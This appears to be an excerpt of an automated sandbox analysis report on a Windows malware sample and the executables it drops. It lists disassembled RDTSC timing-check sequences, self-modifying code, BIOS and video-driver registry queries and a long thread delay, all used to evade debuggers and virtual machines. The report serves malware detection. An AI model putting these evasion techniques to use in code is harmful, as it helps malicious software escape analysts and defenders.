Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7F7A13 second address: 7F7A99 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E40BD86A2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007F2E40BD8698h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 00000014h 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 stc 0x00000025 call 00007F2E40BD8699h 0x0000002a push edx 0x0000002b pushad 0x0000002c jmp 00007F2E40BD86A9h 0x00000031 push eax 0x00000032 pop eax 0x00000033 popad 0x00000034 pop edx 0x00000035 push eax 0x00000036 pushad 0x00000037 jmp 00007F2E40BD86A5h 0x0000003c jnl 00007F2E40BD8698h 0x00000042 popad 0x00000043 mov eax, dword ptr [esp+04h] 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7F7A99 second address: 7F7A9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7F7A9D second address: 7F7AA7 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F2E40BD8696h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7F7AA7 second address: 7F7AAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7F7AAD second address: 7F7AD1 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F2E40BD8696h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F2E40BD86A4h 0x00000015 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7F7AD1 second address: 7F7AD8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7F7AD8 second address: 7F7AF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F2E40BD86A4h 0x00000012 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7F7DBF second address: 7F7DC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7F7DC4 second address: 7F7DC9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7F85CC second address: 7F85F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 pushad 0x00000008 jng 00007F2E405325D8h 0x0000000e push edi 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F2E405325E7h 0x00000017 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7F8A0F second address: 7F8A4C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E40BD86A3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007F2E40BD869Ch 0x0000000f js 00007F2E40BD8696h 0x00000015 popad 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jnl 00007F2E40BD86A6h 0x0000001f rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7F8A4C second address: 7F8A56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F2E405325D6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7F8A56 second address: 7F8A5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7F8BA3 second address: 7F8BA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7F8BA7 second address: 7F8BEF instructions: 0x00000000 rdtsc 0x00000002 jo 00007F2E40BD8696h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a js 00007F2E40BD8698h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 nop 0x00000014 jbe 00007F2E40BD869Bh 0x0000001a xchg eax, ebx 0x0000001b push esi 0x0000001c ja 00007F2E40BD86AFh 0x00000022 jmp 00007F2E40BD86A9h 0x00000027 pop esi 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7F8BEF second address: 7F8BF5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7F9113 second address: 7F9117 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7F9AA3 second address: 7F9AC9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jo 00007F2E405325ECh 0x00000010 jmp 00007F2E405325E6h 0x00000015 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7F9AC9 second address: 7F9ACF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7FBF2B second address: 7FBF2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7FCA90 second address: 7FCA94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7FCA94 second address: 7FCAA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pushad 0x0000000b popad 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7FCAA1 second address: 7FCB22 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E40BD86A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a sbb edi, 476CCC67h 0x00000010 mov dword ptr [ebp+122D1D5Eh], ebx 0x00000016 push 00000000h 0x00000018 call 00007F2E40BD86A9h 0x0000001d push esi 0x0000001e mov dword ptr [ebp+124727C1h], edi 0x00000024 pop esi 0x00000025 pop esi 0x00000026 mov di, 457Dh 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push ebp 0x0000002f call 00007F2E40BD8698h 0x00000034 pop ebp 0x00000035 mov dword ptr [esp+04h], ebp 0x00000039 add dword ptr [esp+04h], 00000019h 0x00000041 inc ebp 0x00000042 push ebp 0x00000043 ret 0x00000044 pop ebp 0x00000045 ret 0x00000046 mov edi, 77BE419Ah 0x0000004b xchg eax, ebx 0x0000004c push eax 0x0000004d push edx 0x0000004e jno 00007F2E40BD869Ch 0x00000054 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7FBD47 second address: 7FBD51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7FC867 second address: 7FC86B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7FC86B second address: 7FC871 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7FD518 second address: 7FD590 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 jmp 00007F2E40BD869Fh 0x0000000e popad 0x0000000f popad 0x00000010 mov dword ptr [esp], eax 0x00000013 push 00000000h 0x00000015 push eax 0x00000016 call 00007F2E40BD8698h 0x0000001b pop eax 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 add dword ptr [esp+04h], 0000001Ch 0x00000028 inc eax 0x00000029 push eax 0x0000002a ret 0x0000002b pop eax 0x0000002c ret 0x0000002d push 00000000h 0x0000002f mov di, ax 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push esi 0x00000037 call 00007F2E40BD8698h 0x0000003c pop esi 0x0000003d mov dword ptr [esp+04h], esi 0x00000041 add dword ptr [esp+04h], 0000001Ch 0x00000049 inc esi 0x0000004a push esi 0x0000004b ret 0x0000004c pop esi 0x0000004d ret 0x0000004e stc 0x0000004f xchg eax, ebx 0x00000050 je 00007F2E40BD86A0h 0x00000056 push eax 0x00000057 push edx 0x00000058 push edx 0x00000059 pop edx 0x0000005a rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7FE0BF second address: 7FE0C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7FFB0B second address: 7FFB17 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7FFB17 second address: 7FFB1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7FFB1B second address: 7FFB35 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F2E40BD8696h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F2E40BD869Dh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 80104D second address: 801054 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 80201C second address: 802022 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 80318A second address: 80318F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 80318F second address: 8031D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 mov edi, dword ptr [ebp+1244CBFEh] 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push ebp 0x00000013 call 00007F2E40BD8698h 0x00000018 pop ebp 0x00000019 mov dword ptr [esp+04h], ebp 0x0000001d add dword ptr [esp+04h], 0000001Bh 0x00000025 inc ebp 0x00000026 push ebp 0x00000027 ret 0x00000028 pop ebp 0x00000029 ret 0x0000002a push 00000000h 0x0000002c mov dword ptr [ebp+122D2B08h], ecx 0x00000032 xchg eax, esi 0x00000033 push eax 0x00000034 push edx 0x00000035 ja 00007F2E40BD8698h 0x0000003b rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 8031D5 second address: 8031DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 8080C8 second address: 8080CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 80C092 second address: 80C09F instructions: 0x00000000 rdtsc 0x00000002 js 00007F2E405325D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 80C09F second address: 80C0A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 80E616 second address: 80E668 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F2E405325D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jns 00007F2E405325E9h 0x00000010 popad 0x00000011 nop 0x00000012 mov dword ptr [ebp+122D2B47h], ebx 0x00000018 push 00000000h 0x0000001a sub dword ptr [ebp+122D3ED0h], edi 0x00000020 mov dword ptr [ebp+122D3F1Bh], eax 0x00000026 push 00000000h 0x00000028 mov bh, ch 0x0000002a xchg eax, esi 0x0000002b push esi 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F2E405325E1h 0x00000033 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 80E668 second address: 80E66C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 81AA43 second address: 81AA67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F2E405325E7h 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 pop eax 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 81AA67 second address: 81AA7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2E40BD86A1h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 81AC4C second address: 81AC52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 8256CB second address: 8256D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7BEF80 second address: 7BEF9E instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F2E405325DEh 0x00000008 push eax 0x00000009 push edx 0x0000000a ja 00007F2E405325D6h 0x00000010 ja 00007F2E405325D6h 0x00000016 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7BEF9E second address: 7BEFDB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E40BD86A9h 0x00000007 jmp 00007F2E40BD86A5h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7BEFDB second address: 7BEFE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F2E405325D6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 8244C4 second address: 8244C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 824A35 second address: 824A4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jnc 00007F2E405325D6h 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 824A4F second address: 824A5C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F2E40BD8696h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 824A5C second address: 824A8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F2E405325D6h 0x0000000a push esi 0x0000000b pop esi 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jnc 00007F2E405325E5h 0x00000016 push edx 0x00000017 jmp 00007F2E405325DBh 0x0000001c pop edx 0x0000001d rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 824CD3 second address: 824CEA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E40BD869Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jne 00007F2E40BD8696h 0x00000011 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 824E71 second address: 824E99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 jmp 00007F2E405325DCh 0x0000000e jg 00007F2E405325D6h 0x00000014 popad 0x00000015 je 00007F2E405325D8h 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 824FD0 second address: 824FD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 825152 second address: 825157 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7BB95C second address: 7BB960 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7BB960 second address: 7BB999 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2E405325DFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jbe 00007F2E405325D6h 0x00000012 jmp 00007F2E405325E3h 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 popad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d push esi 0x0000001e pushad 0x0000001f popad 0x00000020 pop esi 0x00000021 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7F6152 second address: 7DAEDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop ecx 0x00000006 mov dword ptr [esp], eax 0x00000009 adc cl, 0000001Ah 0x0000000c mov dword ptr [ebp+122D3D11h], ebx 0x00000012 lea eax, dword ptr [ebp+1247AF23h] 0x00000018 jmp 00007F2E40BD869Ch 0x0000001d adc cl, FFFFFF88h 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 jbe 00007F2E40BD8696h 0x00000029 jmp 00007F2E40BD869Bh 0x0000002e popad 0x0000002f pop edx 0x00000030 mov dword ptr [esp], eax 0x00000033 je 00007F2E40BD869Ch 0x00000039 mov ecx, dword ptr [ebp+122D2F2Dh] 0x0000003f call dword ptr [ebp+122D1D69h] 0x00000045 push eax 0x00000046 push edx 0x00000047 jnl 00007F2E40BD869Ch 0x0000004d push eax 0x0000004e push edx 0x0000004f rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7DAEDD second address: 7DAEE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7F624E second address: 7F6253 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7F66DF second address: 7F66E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	RDTSC instruction interceptor: First address: 7FE8FF second address: 7FE90E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c push edi 0x0000000d pop edi 0x0000000e pop edi 0x0000000f rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: EAF970 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1083EA9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: EAF8AF instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Special instruction interceptor: First address: 64EF53 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Special instruction interceptor: First address: 64C62E instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Special instruction interceptor: First address: 64EF7A instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Special instruction interceptor: First address: 88098F instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsKKFHJJDHJE.exe	Special instruction interceptor: First address: 7EACA8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 91EF53 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 91C62E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 91EF7A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: B5098F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: ABACA8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Special instruction interceptor: First address: BCF970 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Special instruction interceptor: First address: DA3EA9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe	Special instruction interceptor: First address: BCF8AF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Special instruction interceptor: First address: 3A47FE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Special instruction interceptor: First address: 1FB11A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Special instruction interceptor: First address: 3C9974 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Special instruction interceptor: First address: 3AB55A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Special instruction interceptor: First address: 435EBF instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Memory allocated: 54C0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Memory allocated: 5700000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Memory allocated: 5530000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Memory allocated: 50B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Memory allocated: 53B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Memory allocated: 73B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Memory allocated: 4F70000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Memory allocated: 5140000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Memory allocated: 4FA0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsKKFHJJDHJE.exe

Code function: 20_2_04E20E1A rdtsc

20_2_04E20E1A

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000
